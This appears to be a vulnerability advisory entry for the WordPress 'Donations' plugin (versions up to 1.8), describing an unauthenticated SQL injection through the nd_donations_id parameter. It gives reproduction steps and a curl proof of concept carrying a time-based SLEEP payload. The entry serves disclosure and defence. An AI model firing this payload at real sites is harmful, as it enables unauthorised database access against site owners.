Lucene search

K
wpexploitCydaveWPEX-ID:B81E824C-D2B1-4381-ABEE-18C42BB5C2F5
HistoryMar 29, 2022 - 12:00 a.m.

Donations <= 1.8 - Unauthenticated SQLi

2022-03-2900:00:00
cydave
60

0.002 Low

EPSS

Percentile

57.6%

The plugin does not sanitise and escape the nd_donations_id parameter before using it in a SQL statement via the nd_donations_single_cause_form_validate_fields_php_function AJAX action (available to unauthenticated users), leading to an unauthenticated SQL Injection

Create a new "Cause" and fill out the form under "ND Donations - Cause Main Settings" (price and color, price should be a value > 1)
  Publish the "Cause"

Visit the just created "Cause" page as an unauthenticated user and extract the nonce (CTRL+F for "nd_donations_ajaxnonce_single_cause_form_validate_fields" in the page source)

curl 'https://example.com/wp-admin/admin-ajax.php?action=nd_donations_single_cause_form_validate_fields_php_function&nd_donations_value=300&nd_donations_form_validate_fields_security=<NONCE>&nd_donations_id=1+AND+(SELECT+1739+FROM+(SELECT(SLEEP(5)))APRr)'

0.002 Low

EPSS

Percentile

57.6%

Related for WPEX-ID:B81E824C-D2B1-4381-ABEE-18C42BB5C2F5